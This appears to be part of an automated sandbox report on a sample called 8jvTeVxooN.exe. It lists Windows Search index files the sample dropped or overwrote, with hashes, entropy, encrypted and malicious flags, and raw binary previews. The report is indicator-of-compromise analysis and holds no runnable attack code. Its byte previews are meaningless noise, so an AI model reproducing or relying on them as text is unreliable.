Preview:	u.,I.c.af\|.:S2O..!.......A....3.]..6..m...!....\H.N..6..9..Y.1...zjw.!...^,~l.j.<. .....v.72....{....'....!O............h!.....E.Do=.eQ..k+~p....Z...ReE.8.X!W3....i.5..}Be..}..C.oR...!Ee..]..~........8.F...id`.....l.M.:w.DZ.=..`.p.y^<.....w.,........'.k\..<..'..\%g...v^0.h)J..I.V9r.m.......W..k.)f.P{e{M.5..X1...n.....$.wWa.c.!J..&P..,.Z....B.Y.&.GX.x.^..H......(;.... t..1.o.{...@.[i....5.JI...2..+..U..k9.....i7...8.'...?`.XH6. ........9........>8w.n.c..`...1...H. .q..h...;....l....)I....KU....@@.i.k......G.V.%[.....w.....pL{..%....IHW4+!a..b......G......P...Kd......T.).:.WI...F...V.j.K....@~.....S.]...y..[........y...R...J../.d...n..q:..w.!.j....(Y.w..=.:X8v.. .@5..X.0`.i.K....a.+f.x}.{.......$.2'....qs..a2...7b.Z....\p....+*...yG..7h.....[F.~las.T6....n..<.../o..L\..K<.SS...{.N...#C...$...'t.FC.(.../jO.SM#C..T..AB.{...v.7.E......L7...v...O.....3..Ev%.P..v......~)p9.8$B>S...v..^.q8^...\|.SG%}.UN.jv.=6s...8...UK........./u....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb00001.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.502262905786384
Encrypted:	false
SSDEEP:	3072:/7Mn7CoYTLe1AP9lFLdczxXBlFFm1vDsxChe4hElhnT54aL1pDs0CPnZf8aNcmuZ:zM7CoYTLe16LU7bxQeBd5LPsxPZa
MD5:	AB56D8850F5242CA424D897B5FF64ACB
SHA1:	5654E48DB6EFFA5EBE14F3710191F20A7DD44CE2
SHA-256:	B4A2D71FB4E58C84490EE77C23A60194B9457DBD6589469B0F26F3CA7B8361FF
SHA-512:	9EF0BD9B073B14E508CF13F1C9AB8F328876265E21AE2CF47E647B4F747C4F95A3B5233E11BA7C823ABE428A54FB9959D654F5680C03CA13EF139579F7E78E55
Malicious:	false
Preview:	........C...t+..=a....{..v...i:../... ..J..............^....E.}K..G..y.b..U.{.w..z.p`I.7]....n...?T2].z5.... ..O....v..!O=1g.f3..6}v......0.9.....x...ihxg....=.....5.M...<W..........n-. .+.5....r\I.5&y./I.r.....x..zF......H......@J{......A..b..e.N..<9...x3.^d.1C...."..4.2.j.Q.1......'.E.S}&7~....W..2.4..!.g@..5d....>#.R...tE@..p..../.F.~O..g>...ImR.\|M....P..}......R".M.s.CJmq......^.L7..O..=...+.w..{.W.........."6[....9& R"!....11Z..F....1...2!}....[.S..D....>.>.95....H4...AC.J>3...1"j ....C..)#....'$Q..\$0..;M/..{...%~....E.O.....8.y...5....\|..#..&y4h>..$H..7vA.vFr._kW...B);#...&G.....'EtU....vu...K..n..._A......ZXFT.Jl.Pd.9.&......-*.[..[......L......T...-U[..~.........n.}.&..V....}.u.....J.6vv.,b).^.!.....k.....S.z%.`.FG.j.G+.)......u+....Q....t\|9..!d.f.......v......t.....&%=.D? ....P..yp.P>$..gK..U...w...5..v.:...7...On..V6@.]@T.GfCP>.f2........\|.....Q..6.D$,..>Y...[.....9~...W.LXB..%..w\..(.....^..\| c..2.A........F.o\|G-.Tgs..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2069581187871243
Encrypted:	false
SSDEEP:	3072:Rx8Ii/w/To5WHKIhh+ZazX/UpXYVUNU00LLc6QAFSKfYdZtLRXUY:j+wrqghgLpXYWm0i/QNdZl1UY
MD5:	7114DCD1C7E5E973888119C9A7EC9BCE
SHA1:	E875E655261F5916D5356E462FE0902B5005C17A
SHA-256:	BD83E97B19B441AD12C96E044B39F2414661A14777C64F8E9A77D3414CBC5692
SHA-512:	32BC78096E0B1C2643201C7FC2C58F2833DD777CFC4DF23FC5AF9CF8C5107375E5E7DD91DD134A97BCB3E68F928193DB7A332C73D77CEFDD413685FC19E752F1
Malicious:	false
Preview:	.....{..x...& ....SJ.[`B.O..jD..8.......B).+.$..Tt.u.....[.!<2....x..k.~..e....;J`.4........<3.!T...,.@.;.?S.d.!y5....%...?._)L.{...,.~n..h.a.n..i..j..]v.Z"..#........8...x.e1r{..HSE.'y0.$+.;..@93..L.}k..Y?......G...bn....#QO.@..n,.w........af%..8..B........t.!Yy........r....f...6uS)...8G.,"..:.......[.KV_.WkUd0x.a.7!....B7T......,.i.!..m..\~.7vF.Z.nM..-MO..e9........sa...5N.~<......,.. .../.-...Pi&..3....... a..5_.N).w+.6................a....ti.n".)=..e.=W.....y.6....~...SYN.P...EPF..PR.....d._.B.`\|......!P..x/C...n...............~.....^1.&.6."/..X..7.6x.k.WbYJ .{=S..1.\...u..<mC.....xly.%....l...N?...G...g....g...#...>.<.^...O...z.y/l.a...@$.&.k.d^"..._(......3...j'N=.9{..Q.d..L<..^%M...W........K..Y^..F..j.\|'G4.._.&%"dCW&z....."...8.4v..i...q...D......;.fhh..83.....;.... .1.~;.d.=.....P.8+.....A.9...w......A.e(.....@.O.3...#.<..K}.f..V.J.......d.i../.......%(...O O^..xx...........S."7f..J_\.3>.D.....d.....OL..-.3.D........M_..g}.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2080674606654913
Encrypted:	false
SSDEEP:	3072:9DYHblXsfyiCh5woD7M5XUUydMJLkIZAGKThphO3ESLzJd0rJWNcu:9DYHbluUwI7GkUydpGHHNd0mT
MD5:	DE75322B24D590E8648F84BCEEA0989A
SHA1:	48D2438F6E90E346E9173867B8A78D09A7C2933E
SHA-256:	8F264C1E6D83D2346A325A2CC3CABC83AFFC476CFAC952009610D6CFF59DA2F4
SHA-512:	D473E5277163E5CF3D626B433E40740CBF19DE8ADB61E9A864E5560017EB0C3BFFE86E2C916104353366E23C62B92D9A06D9F7C448B985AC5D9D9D9BC323C8DA
Malicious:	false
Preview:	....../O.Vv0...~w...x.-.BO.".I.`.....}...c'..4...G..Y\|RL)..-.i.1a.a.oT...I....<..Lj.H...ph.".P...g....d7x,5..#Y.K.Z's...x.0p.....@.[.a.8-.l.,...>'N.<p...2j.Y.O.N....?.T^lv.W.B.......7.q.j.i.#+...x.K.n9...........8~..;.U<...d@".qm.SJ.(...#4u.x.l..L..t.=..6D.~.O..z..&m..ej..r9...eUk.,.....fUz..,S......jdF....9..%.z.f....B..i.M...FTe.7Y.1...3....'....&Q...B.5....tv..V.2..{..zLWr...w....3o..".5?.%.......NW3.....a.O.Pt.p.v:.n`.......g.w.c..P`.;..f...OIJ.I...a.. .....$..b.K..J.I#;:..}U.K.Y..$Ms....,.-N..zX..%i,....5P.....M.ZE.&b.@mq.....z....../......s.5>."./..aa?..m.....ddMQt[PW...\|.Y...\|i.;.. k#...>f.S.-.-..@.F..Em.6..e.....5\|.Vrv...$.'.\|.0.`^).2..fR.+.^t..a..J....s4-\...Nr.....N...<;..Ca.w....0o....B..<[.K..K.8r^O.[...s~...Fg.@8;.8U.@.I...&.X..[Eq...X.D.K&.r.6f4...?hc2.L...!.4jl.X..&S..B...E.$oW...... .~....=....B.+..r...o.`'Z=....YO...[.+r.....L...$..I.M7.!3......BZ.P..{.gR...,.1{....ld.. .?.k..a.S.M...F.~OW.....]x;.7..m..O...f.X.ZY._H..0MM@o....s.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.20692558628524
Encrypted:	false
SSDEEP:	3072:3BKddyOfs+G4vt7gBMIYqkvuC7fknHNvkKDlzAmhjdFtkBIz3LmH4VA+:c/fse1U7auMcn5J3jdXp
MD5:	1C28FD04A66C84647950E73B295EDC7C
SHA1:	471B952CAAD1073F9C2C8CA61E79128AB3CC613C
SHA-256:	4C517A5DC0D94CC5EA4577F5DDBBF9EF65409835C816C13021F9B00EB762F2F0
SHA-512:	1703AB0F17DA5501CB8AF2265421E02FF660D883E2FDF50F5F7F12862EB0E25E99E29D23F501D21115D94427B88D964B68493EB7AB84683235212BF23140DD74
Malicious:	false
Preview:	.....g. .h..9.k.b.aq>...nK.~....Z...h.d.)....H.DD..)..H..J-.+..z..8?PJ..K..\3O....C..M1.G...2...D....`.71;S..'.T.A../.Hq..P.6.T.,.5u.@Sa.O%....5.....$..C....g.9I...?..........B..@.T.-.......h..?....=.. ....Mk;..bP.9.-.[.@..s.\.sL&$...Y..I.2h......_...qo....T....d.....].f...y.+.V$.\;....b..%..t..."r..p....z.2\|w..\+]...YK..{.V..5.].uV3.G._.sdd..qz....x.Q..#+].. c.F....`.R..P..a...E0..?Xq...+K..EA...,.e...Y..i...o\].....o+...1....w.n..).d...VcMZ.^.8....1.....V...>..F.hq.i[-%,.Of.....K...8....T4o:dv.g.f.J.5=.Jm...._V.`fY!6L_2;..PN......W.....P.!../dF\|.Jm............W.O..G.AI.6.....I.Wc...M...W.V..iy..8..;..B[`...]JA.0..%...).&........$p..\.g.. .L.o.K.!.....n.?...u..<....{.5 ]W..J...Z.@....h/....@.._.v.4...!..kE....A......2..u~2P..+v.3........^...N...\|......{j.....DZ...].Jc..G.*^q....bB..4.@......V..`pT...~.W9N.&.u/.!i...8....:.z}S.Y....v.LuZt\\|.C<jJ^.:L.j.R\.z."Pn8..Z..2...E6..J.4. ....u.>....B../..."...OC.F.O$m..3....X.... tW0w.`.P]....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	37788
Entropy (8bit):	7.995838919750426
Encrypted:	true
SSDEEP:	768:l67QFAKvIrM1llw9NHxoy+kuhFFT1KtWEgEwaj46G7JV1gsjnSgX7fwlaDZpIKoh:qgI4llwLRoytunnKttgExj4r7J0Glwyq
MD5:	32A858F204D73B97C6283FA0C4AE5DC4
SHA1:	AAF4BFBB2358D93D4F0ACDC1F31E9E38EDBDE853
SHA-256:	DF499308433E9D1BB0FA0C4496BBA3579EC8A277D1F6D562BEE6508732A64AE2
SHA-512:	35DE16CFC7559FD901CD947D3A0E1C2E17B3D0EB1B915FCB84475EE556AB3F489C5FC5EF5363226AF133358E250BC43A4740CAD0DFD869ED76553B840FC2B44F
Malicious:	true
Preview:	0.0.......h'z......g6.!IoQVCZz...Q..vQ.=.L(..li..z...s.4...,...i_...`.&.q.a..XA.Z..........hOPnF![.5j.....[....I.L......v.....\.3.g....,fd....6>..JI..`..SN...... ~..J1.g.j9cH....~.n.$.H....4.J.f..^6...4p...y...Y...FE.......M.3..C.^...d`..c.$i=TE...j.E_/6.,we.....l ..[o.....aDF......\.q1Z ......-.=.........G.;.>.....VR..BT...,.Vu....q.j`.g.X%R..5P...P..5$.......X<....luF.E~..0.aS...k..'.)\|!.L..Bh%..?...}.x9{..[.G....../.u.K.....sw.U.ns.....U,5.bqV..ug.lr.O...t..u[..n=s...w$]..3.b4..s... ....._..[...xB..,u...$A?....m...{.1....N@.8.J6A....jT..Q.....l..j.\`p@3...A...y ..ym...[......`.?.fv..sC3..QQ....M.oP.u'......yM..%\.0...A X.'.R.o..ogm:.J...&r.,M.k.v...)[....2.#Qkv7s..........0.....%"...v.]._c,9..`F.;.6v...r.z.TEk.....f3.<...U.V. ....@Iu....Mg;L.p..........J.?.9$..1...S..OS.j8..~..d.y.Z0.....D...i...ak.x.4....`.z.4..K.E..W.;.}.!T..J.z......._...C...+k.N!.Yc..s..V....4...n_Y.i..j.....c*....a@.1.\|e(.{.-u.n..V...7X.3..........[Jh..".....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	50753
Entropy (8bit):	7.996234089210739
Encrypted:	true
SSDEEP:	1536:317pwJzYkOvwP0c9uNGsli8A/XJot6UtHat8a:FkzYkOvo0piBXGnatf
MD5:	428481B3F34B7929DB74F69E6623B532
SHA1:	BD9D92189D4ED3296DC988E6E971C4DBD3467921
SHA-256:	16EECFE89AD7FAF3A50F38D914305CA077D17F592AF06DD927CD6CC8BACC89E6
SHA-512:	537A499DD8D415648A6E1C79BA9FA8498CDF0EA89BDCB8E7B43FFF9DC7BEE77F26B36D79C7DA3B21FEECA21DC9A5B9C7CB9A45D61E478732996BAF8666296512
Malicious:	true
Preview:	......]..H1.X................-82+..sm(?x....D$.1..=:v....Q....e..mI.....R.+"....q.......b..w.<........r.C..v9.%.l.p...i...Z...:..F...szi-..F^....,c6...s\|.:..f.84.(........M.yN.).,K.43....m..N......X.E+.N.n..h........<.'.o........X."...>.....lZ..!..e4...(...M.'+{b;.)..q.`.P..7B.'ct..$...9.2.....M.......T....y....}...\|.a...Kb..[...Gy.9.......M.].!w......O......SH.S.f`....@.#[.N....ix-..f..1..>.t, ..l..2....#.~>o.d.{;.xK.K..c...s..y=..!........w(....8...p.{..EI...g...hu. O.d.\|d......U...Gu.H.).(....QK..zl..#.5.;j.]m..h...i^...+q.dR...f..!-....O.5.D..?%m.B.7..y[G..h...a.Ao,!Le>0.$.X.I2u...:A...e...S"F..3.l..%..wd..2.?_..5Kx........(.W.,.7.....}NS'\.c.=?S..8K..C....l...MAi0....7..-....P.<%.wK.*..V.W.z7..^...y6.l5I..n.?......Y...N..;...a..... ..e..71Zr.5..S....mG.U..t..:".0 7...lU...S.?......\.U......N`ZHy..\|.}..(...K/.dU.......O....c..>.m^.n..H..O<....<.Q.}.q...F..............9....H.."...L.1...Zh.xo...}...(,......I.Dh.;.....#.i...}...n..;.b

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.index

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1126711
Entropy (8bit):	6.541860210338539
Encrypted:	false
SSDEEP:	24576:CliqUYp8QB7P6TYfoyFxz8GfoLr7YfoyFxz8GHxUMV:ifO+7Ppf1xz8GfMwf1xz8GR5
MD5:	CE5ED4E2CF5AFBCD042F4EEAEDBDAA75
SHA1:	09C1FF058EF3BB35982A6E2985087F0E5909F332
SHA-256:	45A61E45869A8E8B7909A3167D3377024C0FC7CECB348AA1351BC02BB58C6B90
SHA-512:	9E358E19AC35C386E266AFE0106FD47927E75FEBD9052B5FEBBC872AF6F725AEAA6677C3500B19D3D92E990DBA662C38543758BD0833BD3AA045ED65DF0AADDF
Malicious:	false
Preview:	Ej..D6ne.'.......`....Jos.....O....f.v..%n...4..M......a.J..J...o.."i<c.l.9.U-.A....c....@-....R.9).......Ud."Zq..QH.O.J........2...x..4....0]J....E.)..[e..[..<.e!.(B.7.Q.f..O..]hlP.....o-..D...)...J.w.k.,@.\...0.Z....)..j.:-Om@.>..p...47.....b..0_).\|w....z...n....q....]......[k.I.wrJ...<.6.............M.......~....{..j~-..Y.a..liXg... +Su.P..t.8.3.)U.[.Y.!...."...&..0lX.......5.9.Q-e...y,.\|MH.:d...p16..Qs.].Yg.....E.,..jY....g}.5pc.....$.c.Jn......DZc..T...<....2..]...06C5.9Pt.a..w.eI....;.[.(]....J..........-.......d.2n.q;m..9...GF...YQ.fs`:b'.....Z.5.....y....u.z...c.!)....p>.p....Y~R...A.-..$.g.19P\Ezt.s.C......1....)....A8........K4\|O%T4l.......R..yi..K..n....a....u..Z.fG0..].{......^........O.t.M.o..#f9 ..'B[.}18[.N`.w..G.1.k.%.R[3..m.....&s.OAH.$...'T.tG.......]2..........-....!...-.....K.U.d.[.(.\......}.VK..dEay..[<.8....o..m.......P.c....X..F.^..t.(.,..,.#.!..v.\.G.........4*;h...W$L.:v....n.6........"..U...~2j.....c

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{68b56d90-5571-43e6-8322-2b266dfbe856}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.995651988368401
Encrypted:	true
SSDEEP:	768:JbBt/yFAr73M18uN61nQPOLuLQI2vEfI0cS4SiaQK/WkG5+6hcGBF/QcRfc94Hew:JbBt6FAX28lQPOCkI3ViQsDcGBhQ0Hew
MD5:	81E24BE467D53904ABE25A692C310450
SHA1:	0B3E2CE4E95AA09E7A8ADEDDD7DAA89DF7BA7742
SHA-256:	D18B8B42669E6D1001B4854C4750E514EE91A1E1A220313DAE7BB97E4F09344D
SHA-512:	AD323D45385155E36B71221A209ECBEF0A273843861218A66E7D9D3A2252707EB126375BDA1EE86269173C23DA6E6CAE55FEDBCE1663DD6DA5FD23FF79D57A71
Malicious:	true
Preview:	0.0.....5.C%.._..%.$....lm....Z..p.V..Ow....$.\|s.V....k.m6`.0a....0.z.&1.F.\|..UTt.B.....T.N.=.....l5Qo.k,..G...+Y:....?w.m..}......y.L[gm,...d.8..:.x..$.J.....x..C...b.A.?']......T.r.M]&8x..kY.J.9b........?..S.U.F...4...9..!..L............."?...?.>.KA.L.B.j0.Z\|..`.....>......X.-.U322'=e.....Q.....r~-.1Q..SG$6...:7.v.!..O.....\|..vB"K...O........e.........t..L<^P..N.c.......km..+=..Oe(.x64..cC..Xw.V.o..K7.q........k.1.....V0J...........(.Q.........&f.....o....J.....8...2.[....-.D..............q..s-.`.2...1V.....3V..S....I....E......>..b...PC.....F..h.nbB.$....S.&)....L. r...".......t.K4\Q.A.7.EM..P.4..N....c4.]@O..C..Mt.........;...+.4<:.1...r./Yq.a......x.{}.._1.+.3{%_C.....c{....S.9.0`..v\23...;\|f..7O<g..v.../'U.J...p..l[...Y.....`OBX..;.ar.%>,..(.U..!.s, ..h.....y..-......Y.(...Nr....B.Po5.g+..=..A>k0.I..E.XSlo.W7....6E..z......H...U.d$o.;~%...0?.%.1NF..n...R.....i%.G..Zk.;..?.....'.....V.....T^......#.)>......l.G=...,....zHYm...Rk...w

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{68b56d90-5571-43e6-8322-2b266dfbe856}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.996281727025898
Encrypted:	true
SSDEEP:	768:UPe7P7Ez/VxBKerVPJHx++d2n+n9G2yXcdbGvc9wwGTpXcAhl3VtOdwuJdb/l7Qt:UKzU/BKer1JR++MTXWrw3TBzsJdbhw
MD5:	32800C23DA68873CDC62F1087FDAAAF1
SHA1:	0AF291280A38B7893A4D2246315D60873B6433CA
SHA-256:	3D1E3FE10D8A0EAAA357B439B29773F2FCACAD0FDA32101F1D3D2DFB8F5C0C07
SHA-512:	8765717164A738F43D46502665920043C74B8063A18CD82B11CC04110AC612D4506575CFB530022404F6561DEDBB7027E36517E9C86CBED2A5D0CB8CFED00EBF
Malicious:	true
Preview:	.....v.i...E$<p....c...1....m...2D....r..Z.w&KsT....)^;...)..#...D...(..I.!.o..~..{.....Hs..^]...3...-y..RK..AhE...G.0B}......~..../Oe.{................_b.<#2.&_..LY/J.,..P{..j.S...o..q1/..S....."..F...%EB....l....G(....#............9Dq.z.w.X.D.G...@+_2`..{).(.csK...U...{N..v...6..l...Z..a....?......<b. )-.jK...N.......0Z...i.c.........GA..]+.<..Q2L..j0.....&..d.,...>..........X0..G.eS.:....=...5......VeaC.....n..f...Dy:.....(..p{.....8ri..H.u......e.....{ea.Z..syJ....mJl61...a}...q..d([`.W.K(mZ<..t.`C. .+....A{..PP..G......'.<..Lr#I....?P....u/.0~^.....c=..R.[.999.aH...'(\|..#...X.eH.:_...\..W..'...l.].p..H.6.2......G?...\|....>.d\U.F..qm...5......<.1.7.....`....W.i?y.n.I..6.N...+.#A.8fF:.....}.=...t..5N..xK.v.b^....NA..v.....ZKS..K$5r.t....e.t....!q.......Q..l'.I.j....u.~.P....1x$A.rgv.p.....\|...U.U....m1V.%.6..._.c$0..5l...0.2....a..sm...\|.).h......{&?.v.u'..")X...)....E...`@........K.X....~N.g'.......#...Q.B..N..b...rve\.../...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{68b56d90-5571-43e6-8322-2b266dfbe856}\Apps.index

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542384549757034
Encrypted:	false
SSDEEP:	24576:iIsc+FNYfoyFxz8GfoLr7YfoyFxz8G21itp:7sc+Fyf1xz8GfMwf1xz8G20
MD5:	939B5CFF815F6E039C0D77E62D610AFF
SHA1:	D290AB7D14C1C9902008CF2B9E76716DE11017C5
SHA-256:	190F96BE8A7E53F49163443E4D270A2DA9CF8D015FFAD8AFC4B482A4D5BFB6F1
SHA-512:	03737F876DB10B206D067BA634AED5D684EFB8980E146FD77BDE99D7EDC9F95F404483EAE932E360F0A9B834D0ECD206B227FCC3288E6BB379B227EC9E73AA4A
Malicious:	false
Preview:	Ej..D.A..U...w...Dp..f...aW.+"C....:.!\|._...;g.2Y8r....g..n...@.>g".'.0.W\|..............?b.....8.~..P.3}....."....}3.d.$.m.u?.`....;.F(..)..@...i....j+.Vh....P.+pa.m.\|..X..H.q...._Hd.c.+.0.f....9g...L..t.%-..j.NN....Fv}.<......%..uj..V.. I!G..U.......X..KF=.....?m...F.N~.._Hb.........Z......\|........ ).fM..BV.Q.....lm6....a=.....n.....9..X.YAAH..$.T].5).f.#".Fv.A..j@...u3Q..D.rA.....M.\..@.s@....SJH.....X.\|.....2...^.!..xu......\|..5.#0I..d..-.CKr.r.iq.-...4.!.B.m:PP..f....6.,...XO'.1)...).Q....`..S......a1...9..r...8..q.!.C..A....\|Fy.)..x5~.!..n2....EaK..[..8..#....().a.u.O..N.os....H.}^...v.}....u..Q..(......y....jNj.BSj@.J.m<.....6......8np.g..n.1......g.;v.1:..>.u.....>..4...[.N.:....&...y...} .;o...{.gB.....?6M~.1.].C....W.p..XB....Hj..h.f.;$........i(...[%..\..X93wA(tA.e..._..M=o...Q....[?...Y.6...cD...>.i..D.x.4.y..4.x6..c.5@.Vq.F.\|.....^..u.....n.1..,K......H:...X..W.D..\|p...`...M.K....;...2.1...Z....."...}...NR..c.Cl>t..F..<..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6be4a616-5cae-40db-b3b2-65a1b8d928ac}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.99489164066288
Encrypted:	true
SSDEEP:	768:m/lJGQN1FiQ4hdc3AijauX+dsA2NU/QipNNknF7XJCwH+W5tmbN71xyPWZTJr3:m/lJT1Fi9oPbXgsAeKYF7bHLtY113Jr3
MD5:	1804A407BAE5F42B8EA783E817C55132
SHA1:	612566E792C6CA84A293A3D7DE2D5806E53D0E78
SHA-256:	69897CD2435D4EEF02995DBBDD3DF13E9523302EA093BC6C2ABC4A17C78DDCEE
SHA-512:	9B13F6DCE6F065492F6DA301E37BE9C799163EB553EB8EFC1D9D6444C4F1A76E0E09F6AA95A721F862DCA1384B5DA01938D54D85A9C176A80A07494BC5326C25
Malicious:	true
Preview:	0.0...].:..".H.Iv..q..MSy.......M"i..`n..]...l.o.'.k...."_..Q...[...L../...E:.JF.l..I.I....D.6.c...nG..>..eqM...6U\|...,5.......{....Gs....^.....?..tm1..`b.p"}.w':........k.$.$..r.L9v.}.r..1..._SB.Q..E'y.^f.,...u.fU.b".2R..8.`..R.p........M..f.....m?..6.{.l.I....._!2...oX.I........\|.....2.UW..p...Gs ...Y.q..j..6./.#.#k}.-.U...\|..@\|Y..R.f.Y...=..V.b..h..\rk...0....U{Q..O...L+.../$d ..V.S.uR)}.]....9.....@(...A..LiT...}\z..I....LfOx[.k.....{....8.............h..9..m..w..[.k.8:..-\X.$....'.t.b.\...9..4`V...l..g.........+.~.u.I...A.M.i!..f....R.....N..&3u.p.=$.......qz..._RVd..&.^...]0'...u..+...7...$..8.3(...A....}M..$f~.'.6.`.J...5.S..s.M....>......}]..0RxU......#.....J.Y.X..7.............W..{...b..........]Y......=.G...g0wW.A7..U.....V...qx.CVl.)..1.y........W.............u96...I.~.I.K'..>.9..l..n..").u..........US#..pn.J8Bb...e.7W....j[.AW.....A........4.....s..W..G..EO.N.I..P..z..V..0(W#Ln.........#=8~.vL]...h.!vr=.G.&[@..]#..ctR*.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6be4a616-5cae-40db-b3b2-65a1b8d928ac}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.996067845152157
Encrypted:	true
SSDEEP:	1536:eSUYJUtoqPmRY+WkNtApNNWAPTFTb8U3dS:eSU3P+YqQpNHP/3dS
MD5:	16EEB6D5D8D5B3D63EDB5B3704D40AF8
SHA1:	7F0C5D0CB856F45D65453BE59C5D50F82E1D5B1F
SHA-256:	D6C7BF8B0B09389B4B3975B559ACA68B17E6A670035A486AA491D7C1DDC6EC05
SHA-512:	7600E0703CB6300D30544F9A59993E24820A487A809DCF97FD113DC8D0BCF3E7224426986C133370544F9A4A8F1BB341D9B58B6BF9C509797C5C33B8290AC11C
Malicious:	true
Preview:	......!.5e.X.z.F..$f.u..i...%8:Q.8..f/...V.....B@l...(L....(......Gl`.=.X1..M.R:h,8:..'h../.....`...0...1.o.bl.NDE..K......b....K..)..M...VE.y5.jZ...iP...Z..8@w.....t.t\..\..Z....N....@...+1.~......q...%...[_3.Q....iS....z.......k...fZ7#R...?A.@.].x.......j.r...X.2[..p..LR.c..s/....$KK...i..X.`.W..T#^.Eod.\.u..u..c.e.y.\.^..N..S}$..gOO...........Z..G...,.D..V......=}."..Z.<..........;..f....Z..Kl..`.........1H3.....n......4....T.../..\F....1.Ct...4...$.B.^i..\..\|.u.L"...,.....n.....s...}.?].....o@W.e..;..^y#.Lv...E".JO.q..Y..HD....~..A.<.S.W...@.5C.]...........0.bJ..-...D.B.R..I.[...C...2F:.B.....G.V?/.r.c..b...c!.l}..z}T .d.b!..n.....9g'.,z.....b..R.(...rrI....Mu.F....R.i.. z_.p+.B.R.u.T.{..lC......M:..54S....[H..?..tOW......7iHx...N!.....b...\|.....29.../A...r.:...B...kq.f].(/.).DN.+3...0.Wh.....Y..l\J[..{..2_.ng..J....g..*A.4YrRV...>W.v'..P..,....i.}.WzNl..D..5p+^!/fk.Dc.....m...f.}T../..2d.....d..B...F..B.Q4.L.r.y...E..;?..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6be4a616-5cae-40db-b3b2-65a1b8d928ac}\Apps.index

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542225537744551
Encrypted:	false
SSDEEP:	24576:UK4EvrUeYfoyFxz8GfoLr7YfoyFxz8G21itl:UjKrif1xz8GfMwf1xz8G2E
MD5:	FDC18FD1CB3EA424195C58BD86DBE14C
SHA1:	A073222B1ABFEBE763CF959C47E64AC2A9D03D1A
SHA-256:	0C4DC8248300E2DBA6EB25669E55F719EB78EE40F2528C732D5867C7ADDE5586
SHA-512:	78F3DA68CD15DEF555C762245D588CD8289E1C2E3804A712C8B61404533F00050DD757374739BF1C8585E83EF8C6B2770FE251A6F5BE92E91B450F3FD9F0AC51
Malicious:	false
Preview:	Ej..D..B5..y......s..M`.L.!..(..Q....t6a.k.Z....&....}.p.c...Y.L>.....#..6$...wvw2xe\|..Q...j$.C..<..6.X,E.9..}.JV......ok5E...u...M.<......6B.5.....n.7........E..4c"Y...)@H.s.c.b.'.,r_....d4...B...{.<.-,....x"....@M>..r..}>.L.y..q"z;~.O.0#G.N....sJ.....&...."5FX.......`m.C...eV..]....XgC.M....t.5e.Q.SL.IHLYT.[7....l.\|....Z.x...Hr..V...ncbVn..Z..O.9.G....'...~L.v.I."..(.Hy..\..4.5I.....4.E.H<g....Q.{.i.S{.0.,H.....ZO...W.x.C...E..].....gcV..3..@.U.....R<.D.....l.v[C1%d.b3N_.v@.G...^3s...+........N\|......B.i.1]Lw.x....4dW....q.../.vC- 